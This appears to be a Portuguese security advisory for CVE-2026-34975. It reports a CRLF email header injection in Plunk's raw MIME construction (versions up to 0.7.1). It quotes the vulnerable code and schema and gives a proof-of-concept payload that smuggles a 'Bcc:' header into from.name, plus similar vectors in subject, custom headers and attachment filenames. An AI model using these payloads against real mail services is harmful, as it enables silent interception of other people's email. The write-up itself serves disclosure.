
Prova de conceito e análise técnica da injeção de cabeçalhos de e-mail via CRLF na construção de MIME bruto do Plunk, demonstrando injeção de Bcc e outros vetores com um PoC em Python.
Severidade: Alta (CVSS 8.5)
CWE: CWE-93 — Neutralização Imprópria de Sequências CRLF ('Injeção de CRLF')
Afetado: useplunk/plunk <= 0.7.1
Corrigido em: 0.8.0
Aviso: GHSA-2mvm-rg5v-7hfq
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34975
Crédito: Romain Deperne
O endpoint POST /v1/send do Plunk constrói uma mensagem de e-mail MIME bruta interpolando campos fornecidos pelo usuário (from.name, subject, cabeçalhos personalizados, nomes de arquivos anexados) diretamente em uma string de template sem sanitização de CRLF (\r\n). Um usuário autenticado da API pode injetar cabeçalhos de e-mail arbitrários — incluindo Bcc — para redirecionar silenciosamente cópias de e-mails para endereços controlados pelo atacante.
Eu estava auditando plataformas de envio de e-mail de código aberto — qualquer coisa que envolva o AWS SES e exponha uma API. O Plunk se posiciona como uma alternativa amigável ao desenvolvedor em relação ao SendGrid/Postmark, construído sobre o SES.
Meu ponto de entrada foi a função de construção de e-mail bruto. Sempre que vejo rawMessage += ou template literals construindo MIME, verifico se cada campo fornecido pelo usuário é sanitizado contra CRLF. Em SESService.ts, a resposta foi claramente não: from.name, subject, cabeçalhos personalizados e nomes de arquivos anexados eram todos interpolados diretamente.
O que confirmou isso como explorável: o schema Zod (packages/shared/src/schemas/index.ts) não tinha .regex() ou .refine() rejeitando \r\n em nenhum desses campos. Sem sanitização na camada de schema, sem sanitização na camada de construção de MIME — caminho limpo da entrada da API até o cabeçalho MIME injetado.
Testei todos os quatro vetores (from.name, subject, valor de cabeçalho personalizado, nome de arquivo anexado) e confirmei que a injeção de Bcc: funciona. Qualquer usuário autenticado da API com um domínio de remetente verificado pode copiar silenciosamente cada e-mail enviado para um endereço controlado pelo atacante. O cenário de ataque realista é uma chave de API comprometida se transformando em uma interceptação persistente de e-mails.
Arquivo: apps/api/src/services/SESService.ts, linhas 137–151
// Vulnerable raw MIME construction
let rawMessage = `From: ${from.name} <${from.email}>\r\n` +
`To: ${to}\r\n` +
`Subject: ${content.subject}\r\n`;
// Custom headers interpolated directly
for (const [key, value] of Object.entries(headers)) {
rawMessage += `${key}: ${value}\r\n`; // value not sanitized
}
// Attachment filename
`Content-Disposition: inline; filename="${attachment.filename}"` // not sanitized
Schema Zod (packages/shared/src/schemas/index.ts) — sem validação de CRLF:
headers: z.record(z.string().max(998)).optional() // no \r\n check
from: { name: z.string().optional() } // no \r\n check
subject: z.string().min(1).max(998) // no \r\n check
filename: z.string().min(1).max(255) // no \r\n check
A construção de MIME bruto exige que todo valor fornecido pelo usuário seja despojado de \r\n antes da interpolação. O Plunk constrói a mensagem com template literals e não sanitiza nenhum dos quatro campos injetáveis. Os parsers SMTP interpretam \r\n como um limite de cabeçalho, portanto, injetar \r\nBcc: [email protected] em from.name adiciona um cabeçalho Bcc real à mensagem de saída.
Consulte poc.py para uma demonstração completa com quatro vetores de injeção.
Payload principal — injeção de Bcc via from.name:
payload = {
"to": "[email protected]",
"subject": "Legit email",
"body": "<p>Nothing to see here.</p>",
"from": {
"name": "Legit Sender\r\nBcc: [email protected]",
"email": "[email protected]",
},
}
MIME bruto produzido pelo SES:
From: Legit Sender
Bcc: [email protected] <[email protected]>
To: [email protected]
Subject: Legit email
O SES entrega uma cópia silenciosa para [email protected] em cada e-mail enviado por meio da chave de API comprometida.
Outros vetores de injeção:
subject: "Legit Subject\r\nBcc: [email protected]"{"X-Custom": "value\r\nBcc: [email protected]"}Reply-To, Return-Path, Sender